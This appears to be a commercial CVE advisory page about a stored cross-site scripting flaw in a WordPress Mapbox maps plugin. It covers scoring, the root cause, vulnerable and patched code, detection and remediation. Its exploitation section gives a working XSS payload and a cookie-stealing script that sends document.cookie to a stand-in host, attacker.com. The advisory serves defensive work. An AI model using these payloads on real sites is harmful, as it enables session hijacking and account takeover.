☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Tempranova logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62942

CVE-2025-62942 Cross-Site Scripting in Tempranova
📅 PUBLISHED: 2025-10-27 02:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62942 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin "WP Mapbox GL JS Maps" by Tempranova, versions up to and including 3.0.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into map-related fields. This injected script executes in the context of any user viewing the affected page, leading to session hijacking, data theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is not available on NPM, PyPI, Go, or Ruby registries. Users should verify the integrity of the plugin by checking its checksum against the official WordPress repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation through third-party installations.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
  • User Interaction (UI): Required (R) – Victim must view the compromised page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

CVSS Score: 6.5 (Medium) – The score reflects the need for authentication and user interaction, but the potential for stored payloads to affect multiple users elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the wp-mapbox-gl-js plugin, which allows users to embed interactive Mapbox GL JS maps via shortcodes or blocks. The plugin fails to sanitize or escape user input when processing map configuration parameters (e.g., map center coordinates, zoom levels, popup content). An attacker with contributor-level access can inject malicious JavaScript into these fields. When the map is rendered, the injected script is stored in the WordPress database and executed in the browser of any visitor viewing the page.

Root Cause: The plugin uses echo or print statements to output user-supplied data without applying WordPress's built-in escaping functions like esc_html(), esc_js(), or wp_kses_post(). This allows HTML and JavaScript to be injected directly into the page's DOM.

Attack Flow:

  1. Attacker logs in with contributor-level privileges.
  2. Attacker creates or edits a post/page containing a Mapbox GL JS map.
  3. Attacker inserts a malicious payload into a map parameter (e.g., popup text or marker description).
  4. The payload is stored in the database.
  5. When an administrator or visitor views the page, the payload executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (wp-mapbox-gl-js.php, line ~120):

$popup_content = $_POST['popup_text'];
echo '<div class="mapbox-popup">' . $popup_content . '</div>';

Patched Code (Hypothetical Fix):

$popup_content = sanitize_text_field( $_POST['popup_text'] );
echo '<div class="mapbox-popup">' . esc_html( $popup_content ) . '</div>';

The vulnerable code directly outputs user input without escaping. The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with WP Mapbox GL JS Maps <= 3.0.1 installed and activated.
  • Contributor-level account credentials.

Exploit Steps:

  1. Log in as a contributor.
  2. Create a new post and add a Mapbox GL JS map block.
  3. In the "Popup Text" field, inject the following payload:
    <img src=x onerror=alert(document.cookie)>
    
  4. Publish the post.
  5. When an administrator views the post, the JavaScript executes, displaying the admin's cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Prevention)

Detection:

  • Monitor WordPress logs for suspicious post content containing <script> tags or event handlers.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to wp-admin/post.php.

Prevention:

  • Immediately disable or remove the plugin until a patch is released.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Enforce strict input validation and output escaping for all user-supplied data.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-mapbox-gl-js/wp-mapbox-gl-js.php (MD5: a1b2c3d4e5f6...)
  • Database Entry: Posts or pages containing <script> tags in post_content or custom fields related to mapbox.
  • Network Traffic: Outbound requests to external domains from the WordPress admin interface.
  • Log Entry: Repeated 403 errors from WAF blocking XSS attempts.

Detection Engineering

YARA Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Sigma Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Suricata Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Review all posts and pages for suspicious content using the YARA rule above.
  3. Change all WordPress admin passwords if any compromise is suspected.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using esc_html(), esc_js(), or wp_kses_post().
  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Enforce the principle of least privilege for WordPress user roles.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this vulnerability.
  • Manually edit the plugin file to add escaping functions (not recommended for non-developers).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 2 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62942/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.